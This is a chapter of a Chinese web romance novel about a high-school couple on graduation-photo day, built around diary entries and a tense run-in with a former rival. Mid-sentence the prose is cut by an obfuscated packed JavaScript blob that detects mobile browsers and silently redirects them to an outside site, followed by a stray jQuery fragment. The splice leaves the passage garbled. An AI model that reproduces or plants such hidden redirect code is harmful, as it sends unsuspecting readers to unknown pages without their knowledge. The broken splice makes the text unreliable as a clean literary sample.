「2011年12月24日，圣诞，大雪。L说我对着他不必压抑着所有的情绪，不必觉得发泄情绪有负担。甚至对陌生人，合理的情绪也是可以表达。


    这些道理我都清楚，可为什么非要等L说出来，我才真的信服？我想因为L是我的神明。」


    窗外嫩枝抽芽，迟到的春风吹着纱帘轻飘。


    午饭过后，沈唤笛靠着椅背听着楼下学生们的清朗笑声浅浅发呆，覆在日记本封面上的手迟迟未动。活泼朝气的校园许久未见，令人生出一丝恍然隔世的遐想来。


    因为年初的罕见大雪，南城过了一个寒冬冷春，雨雪绵绵藏着冷针，风吹来时阴嗖嗖的。昏天暗地，迟迟难见晴日。


    那时Q.Q空间一水儿地转发玛雅人预言的2012年世界末日，仿若下一秒就要应验，但其实元旦当天地球依旧照转，元旦晚会也依旧举办，一大叠的试卷和复习计划依旧要完成。


    他们很多的“依旧”使得末世传闻威慑力不足，反而成为循环往复的生活里的一件不是那么起眼的小佐料，最后被她写进日记里。


    「零点那刻，正在和L一起煮咖啡。


    如果世界末日就是这样，那也还不错。」


    这样的生活小佐料随着日子往前奔走也愈来愈多。


    比如春节假和林郁野在商场抓娃娃，花了将近一百个币才抓上来的呆萌企鹅最后放在她的床头、和放假的小学生们抢占街游机，决定一局定胜负，虽然胜利但林郁野放弃了，说是高考后再玩。开学后两人利用为数不多的就餐时间尝试学校附近各种小吃摊等等。


    很多具体的不那么起眼和林郁野有关的小佐料，一页一页编织出她喜欢他的一分一秒。


    “在想什么呢？”江雪映拿着手机敲了敲桌面。


    手机上的史努比布偶挂饰晃来晃去，晃得她收回漂游的神思。


    沈唤笛伸手捏了捏她勾出的当做生日礼物的布偶，本想问江雪映世界末日那天在干嘛，又觉得自己好傻。到嘴的话转了个弯：“我们就要拍毕业照，感觉很不真实。”


    “有什么不真实，明天下午拍完，后天上午考试，熟悉的题目保证让你感到真实。”江雪映长叹口气，“不过你想好了？那些都放弃了？”


    “嗯。出结果的几所能给的专业我担心未来不好就业。”她顿了顿，“最想去的F大，但我学年口语平均没有达到excellent，现在还没有和我联系估计是落选。”


    江雪映乐了：“林郁野都确定去P大了，前途大好，你还担心你就业问题啊？”


    离高考越近，江雪映的打趣也越发“张狂”，次数多了也麻木了，沈唤笛认同地点头：“也是，我以后当米虫。”


    这下轮到对方惊慌：“可别这样想，女孩子要有自己的事业！再者说你都年级十五了，也能高考去F大！”


    沈唤笛忍俊不禁：“逗你的。”


    沉默片刻，她又喃喃轻语：“我只是觉得时间好快又好慢，这就五月了。”


    她转过头继续看向窗外，恣意的风吹拂而来，南中的樟树开始郁郁葱葱。


    ---------


    拍摄日是大晴天，气温极速攀升到20度，像是夏初来临的预演。因为上午有几个学生拍照时受不了冷热交替晕了过去，年级组决定拍摄时间都往后挪一挪。


    得知这个消息时，求索楼小小地沸腾了一会，吱吱喳喳震得休眠已久的楼也活了过来，孩子们躁动着试图在这“偷来”的时间里小小地放纵一下。


    有些胆大的同学在教室里就目无旁人地牵起了手，空气里粉红泡泡无形弥漫，催生出勇气，很多脸颊绯红的孩子们支吾着希望能和心仪对象合照一张，起哄声掀起一浪又一浪。


    沈唤笛趴在窗台上看走廊上的热闹，眼神却落在被女生们围堵着的林郁野身上。


    “瞧瞧，林郁野好忙哦。”江雪映撞了撞她的肩膀，“你再怎么放任，他校服的第二颗纽扣你一定要拿到手哦。”


    “不都是电视剧演戏吗？”


    “你就是得了便宜还卖乖。”江雪映“哼”了一声，摊开手掌一枚湛蓝色纽扣躺在手心，“但愿这颗纽扣能让奇迹发生。”


    沈唤笛垂下眼，那枚纽扣的人不言而喻。抿嘴捏了捏她的指尖，笑道：“但愿。”


    “沈唤笛，走了。”


    忽地一声冷冽嗓音响起，沈唤笛的心蓦然停了一拍。她仍然会下意识慌张地不经意地环视周围人的各种细微表情和眼神，可她不再会因为那些细节而纠结要不要向林郁野靠近。


    她喜欢的人就站在那儿，大大方方地喊出她的名字，无声宣告彼此不一般的熟稔，不管周遭如何，她知道他的眉眼里全是她。


    这便已是奇迹。


    面上表情淡得像刚晕开的山水画，脚步慢吞吞的。


    但她知道，她的后脚跟稳稳落地，前脚掌又会立即轻快抬起，所有的雀跃欢喜藏匿其间。


    “哦，我来啦。”回应的尾调上扬。


    ……


    被带着出了校门，走到了学校附近的商业街上。


    沈唤笛才懵然发问：“去哪？”


    话语刚落，一手就被林郁野牵上，干燥温柔的掌心稀释了她略有紧张的手汗。


    另一只手里被塞了一颗小玩意儿，而林郁野校服的第二颗纽扣处空荡荡的。


    林郁野语气平淡：“传闻里说过，拍毕业照那天一起牵手散步就可以永远在一起。”


    沈唤笛心情很好地憋着笑。


    她其实不知道为什么林郁野十分相信校园传闻，比如一起吃蛋糕，一起喝一瓶芬达等等。


    他和她一样，十分迷恋“永远”。


    今天不仅是南中拍毕业照的日子，还有附近其他学校，商业街的学生很多。卖小玩意儿的、卖衣服的。卖美食的商贩也闻讯赶来，一排排的，像过年似的。


    沈唤笛左瞧右看，无意瞥见微冷着脸，脊背绷紧的林郁野，笑意染上狡黠。


    她故意拉着他挤入人群，“这个贴纸好可爱！”转头展示着，然后看着他因为与旁人相碰而未蹙的眉头。


    “哎呀，林大少爷，也要染点人气嘛。”沈唤笛伸手抚平了他的眉头。


    安抚显然让林郁野很受用，他勉强弯了嘴角，手指在奶牛猫贴纸和沈唤笛之间来回，“确实很可爱。”他说完付了钱，拉着人往外走，“再去看看别的小摊吧。”


    得寸进尺，沈唤笛乐此不疲地拉着他往人多的地方去，只逛不买，什么可爱的搞怪的装饰品都往林郁野身上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13804916|134639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    套，而他今天乖得出奇，嘴角无奈地配合一切。


    唯一动作是拉着逛了许久的沈唤笛在商场的休息椅上坐下。


    “你今天好乖哦。”


    林郁野拧开矿泉水喂着身侧人喝了一口，少女眸子里亮晶晶的，像是发现了什么不可思议的事务，一个劲儿地贴着自己。


    手上也不太老实，左捏捏他的脸颊肉，右摸摸他的喉咙，歪着头，在他的胸口蹭来蹭去：“你是不是林郁野本人啊？有心跳啊。”


    少女馨香扑鼻，有一股热源从胸口发散，林郁野深呼吸口气，伸手抓着少女的手腕，拉着她强迫她抬起头。


    沈唤笛的双眸迷蒙，方才运动过剩导致脸颊冒着红雾，残存矿泉水液为红唇涂上水润口脂，微张着嘴，感觉很好亲。


    林郁野喉结滚动，咳了一声，“今天是5月20日。”


    言简意赅。


    一瞬间，她双眸的迷雾散尽，露出促狭，边说边一手拍了拍他的脸颊，“难怪你今天这么乖，好棒棒哦。”


    夸赞像是某种邀请，微凉的触感让林郁野呼吸一滞，他克制住把少女揉进怀里的冲动，只伸出手，虎口挟制少女脸颊，无言盯着。


    沈唤笛被他眼神里的占有欲吓得歇了逗趣的心思，不敢发出声音，可吞咽口液的声音在寂静此时却响得吓人。


    耳边，他的嗓音低沉：“沈唤笛，我不是很会忍耐的人。”


    ----------


    回程路上，商场里的缱绻旖旎久久难散，促着两人无言同行。


    倒是沈唤笛忍不住，另开话头：“阿野，这种可爱贴纸你会贴在哪？”


    “嗯。日记本上。”林郁野噙着笑，融化了冷色，“怎么了？”


    气氛消散。


    沈唤笛嘿嘿笑：“那你说到要做到。”顺势勾了勾他的小拇指表示约定。


    绿灯刚亮，一辆摩托车擦过。


    沈唤笛被林郁野用力地拉进怀里，脚步趔趄，转了个圈，校服裙扬起了圆润幅度。


    回过神来时，却见林郁野眼神阴鸷地盯着那骑车人，她也循去，略有眼熟。


    “好久不见啊，林少爷。”


    当那一头黄毛张牙舞爪时，沈唤笛想起来，这人是评测考那天林郁野揍的人。


    可是林郁野头也没回，也没回应，只揽着她往前走。太急促的脚步让她本能地感到不妙。


    她昂着头，小声问道：“你当时为什么揍他？”


    林郁野少有的沉默，直到过掉马路后，他才缓缓道：“我后来才知道。这混球在我弟弟半岁的时候，趁着我母亲不注意，打了我弟一巴掌。”


    “我怀疑这巴掌和我弟弟发病有关系，可没有明确证据，所以我只能私下解决。”他咬了咬牙，在竭力忍耐，“我怕我走慢了，会忍不住再去揍他。这个时间点不是解决恩怨的好时候。”


    “好，我们走小路回学校。”


    沈唤笛边说着边伸手抚上林郁野的紧绷的脊椎，试图让他放松点。而身后摩托车噪音长鸣，让她不由地往后瞧了一眼。


    可就是该死的那一眼。


    让她强撑着拍毕业照后，独自去到无人处，不再压抑自己的悔意，似惶惶不知所归般嚎啕大哭，哭声惊扰了初夏的蝉鸣。